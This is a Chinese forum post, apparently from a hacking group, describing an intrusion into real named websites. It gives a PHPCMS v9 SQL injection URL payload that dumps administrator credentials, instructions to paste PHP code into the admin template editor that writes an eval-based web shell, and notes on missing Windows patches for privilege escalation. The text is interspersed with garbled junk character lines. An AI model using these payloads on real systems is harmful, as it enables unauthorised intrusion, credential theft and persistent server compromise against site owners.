|
期末快到了，各种作业啊。。学计算机的伤不起啊。。话说我们有门课很有意思，叫做黑客攻防，期末作业就是黑站，我笑了。。前几天在服务器上嗅探把服务器搞死了，管理员漏洞也补了，写这篇文章单凭记忆，图片较少，还请见谅。 Author：夜行人 From：F4ck Team & A9 S) ^ X* ]7 z# X2 k
目标站：http://www.ipucom.com/ 旁注到一个站点：www.zhongyitong.com有phpcmsv9注射漏洞 百度一下找到该漏洞的利用方法。 直接在该网站注册用户名，然后在该网站域名后加上这段代码就能爆出数据库名 api.php?op=add_favorite&url=xx.oo&title=%2527
# p& ]1 }$ x0 o3 p6 t
7 q" M9 \9 M" m
, f/ z* g1 n4 ?% Q% N+ Z+ _
$ }3 p, x1 ?, x' H7 Q. n$ q
& f& i4 ^! X% V $ o: b2 }) ?( \
$ ^/ ]7 R2 c% L' Z4 D
" Z ~2 I& M/ U+ R3 R$ ] z$ f' `; u; ~+ @ X% ]/ q% h
' O4 J# g1 I. N* u+ i
8 |$ o! f4 ?' ^9 Z; h9 N
" z0 U; y( ?) d: C6 A, {. u E
这里可以清楚的看到数据库名和表名，然后把该表名替换一下代码中的表名 api.php?op=add_favorite&url=xx.oo&title=%2527%2520and%2520%2528select%25201%2520from% 2528select%2520count%2528%252a%2529%252Cconcat%2528%2528select%2520%2528select %2520%2528select%2520concat%25280x23%252Ccast%2528concat%2528username%252C0x3a%252C password%252C0x3a%252Cencrypt%2529%2520as%2520char%2529%252C0x23%2529%2520from %2520v9_admin%2520LIMIT%25200%252C1%2529%2529%2520from%2520information_schema.tables %2520limit%25200%252C1%2529%252Cfloor%2528rand%25280%2529%252a2%2529%2529x%2520from %2520information_schema.tables%2520group%2520by%2520x%2529a%2529%2520and %2520%25271%2527%253D%25271 % p' @% F3 D; `. B: D
: t$ I3 S( l) @ Y3 T; T9 a
$ a# |6 s' Z1 N$ I# I/ w+ r5 [& G0 [# C
# S5 @% I8 Z8 s! W* U, n
帐号密码就出来了，md5解密一下就行了 进入后台, 界面 > 模板管理 > 模板风格 >* c+ B0 Q6 P f# p: y
: U3 H$ X8 X- a
3 D! ] T/ U3 E7 Z: t 6 \ a/ _$ H& r, j% ~1 Z
* |7 W6 @# y: s5 }3 z2 a) c- y% M- \" r; E
" R% K6 f4 |/ R4 [, J" x; S
1 l! b4 B! p3 A5 g( s. D; Z
/ U/ x4 e4 G# w3 O 点击后面的修改，然后把一下代码复制上去保存 <? $fp = @fopen("c.php", 'a'); @fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[zmzsg100])'."\r\n\r\n?".">\r\n"); @fclose($fp); ?>% P2 U, ~0 n! k8 N8 p! ?; k
1 l+ n H F3 g+ b) O, P1 S M0 ^5 f' ]( T5 E3 @1 k
- Y% s+ S, D+ N1 R: `! g
- V/ T }4 a1 Z: i' _4 h* T
# _; ]) N9 E; e' v L2 R1 e" r+ W3 }1 Q* s) T1 z2 P& v: b
. d2 Q% d4 e" s9 f8 m0 q5 x7 I* M$ u
3 c Z: c' e9 _1 Z
' N2 F% V, q8 @% Z2 \" {
提交后可视化一下/ k# [ M6 l) p' v
" p* I$ a4 q: Q5 R4 F
在网站的根目录就生成了你的一句话木马客户端 http://www.zhongyitong.com/f4ck.php 然后通过控制端连上去就行了。。。 提权貌似很简单，看了下systeminfo 发现没有 KB2503665 KB2592799 | 
发表于 2012-12-20 08:44:41
收藏
支持
反对